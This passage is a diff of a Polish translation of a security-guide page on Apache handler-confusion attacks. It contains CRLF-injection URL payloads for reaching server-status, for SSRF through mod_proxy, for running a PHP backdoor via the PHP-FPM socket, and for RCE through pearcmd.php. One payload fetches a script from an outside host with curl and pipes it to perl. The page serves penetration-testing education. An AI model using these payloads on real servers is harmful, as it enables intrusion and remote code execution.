w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\ -Ponieważ ModSecurity nie obsługuje poprawnie wartości zwracanych, zwracałby kod PHP i nie interpretowałby go. +W [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) przedstawiono podatność, gdzie nieprawidłowy nagłówek `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Wynikało to z problemu obsługi błędów z ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\ +Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. -#### **Nadpisanie Handlera do XXXX** +#### **Overwrite Handler to XXXX** -TODO: Orange jeszcze nie ujawnili tej luki +TODO: Orange jeszcze nie ujawnił tej luki -### **Wywołanie dowolnych handlerów** +### **Invoke Arbitrary Handlers** -Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne handlera modułów**. Jednak w momencie, gdy atakujący kontroluje to, większość procesu żądania będzie już zakończona. Możliwe jest jednak **ponowne uruchomienie procesu żądania, nadużywając nagłówka `Location`**, ponieważ jeśli **r**eturned `Status` to 200, a nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako przekierowanie po stronie serwera i powinna być przetworzona. +Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie w stanie **wywołać dowolne module handlers**. Jednak w momencie, gdy atakujący to kontroluje, większość procesu requestu będzie już wykonana. Mimo to możliwe jest **ponowne uruchomienie procesu requestu poprzez nadużycie nagłówka `Location`**, ponieważ jeśli zwrócony `Status` jest 200 i nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako Server-Side Redirection i powinna być przetworzona -Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Sekcji 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie lokalnej odpowiedzi przekierowującej: +Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) zdefiniowano zachowanie Local Redirect Response: -> Skrypt CGI może zwrócić ścieżkę URI i ciąg zapytania (‘local-pathquery’) dla lokalnego zasobu w polu nagłówka Location. To wskazuje serwerowi, że powinien ponownie przetworzyć żądanie, używając określonej ścieżki. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Dlatego, aby przeprowadzić ten atak, potrzebna jest jedna z następujących luk: +Dlatego, aby wykonać ten atak, potrzebna jest jedna z następujących podatności: -- Wstrzyknięcie CRLF w nagłówkach odpowiedzi CGI +- CRLF Injection w nagłówkach odpowiedzi CGI - SSRF z pełną kontrolą nad nagłówkami odpowiedzi -#### **Dowolny handler do ujawnienia informacji** +#### **Arbitrary Handler to Information Disclosure** Na przykład `/server-status` powinien być dostępny tylko lokalnie: ```xml @@ -197,16 +225,16 @@ SetHandler server-status Require local ``` -Możliwe jest uzyskanie dostępu, ustawiając `Content-Type` na `server-status` i nagłówek Location zaczynający się od `/` +Można uzyskać do niego dostęp ustawiając `Content-Type` na `server-status` oraz nagłówek Location zaczynający się od `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitralny handler do pełnego SSRF** +#### **Przejście z Arbitrary Handler do pełnego SSRF** -Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu na dowolnym URL: +Przekierowywanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu pod dowolnym adresem URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do punktów końcowych metadanych w chmurze. +Jednak nagłówek `X-Forwarded-For` jest dodawany, uniemożliwiając dostęp do endpointów metadanych chmury. -#### **Arbitralny handler do uzyskania dostępu do lokalnego gniazda Unix Domain** +#### **Dowolny handler do uzyskania dostępu do lokalnego Unix Domain Socket** -Uzyskaj dostęp do lokalnego gniazda Unix Domain PHP-FPM, aby wykonać backdoora PHP znajdującego się w `/tmp/`: +Uzyskaj dostęp do lokalnego Unix Domain Socket PHP-FPM, aby wykonać PHP backdoor znajdujący się w `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Arbitralny handler do RCE** +#### **Arbitrary Handler to RCE** -Oficjalny [PHP Docker](https://hub.docker.com/_/php) obraz zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w wierszu poleceń, które można wykorzystać do uzyskania RCE: +Oficjalny obraz [PHP Docker](https://hub.docker.com/_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w linii poleceń, które można nadużyć, aby uzyskać RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), napisany przez [Phith0n](https://x.com/phithon_xg) w celu uzyskania szczegółów na temat tej techniki. +Zapoznaj się z [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autorstwa [Phith0n](https://x.com/phithon_xg), aby poznać szczegóły tej techniki. -## Odniesienia +## Referencje - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}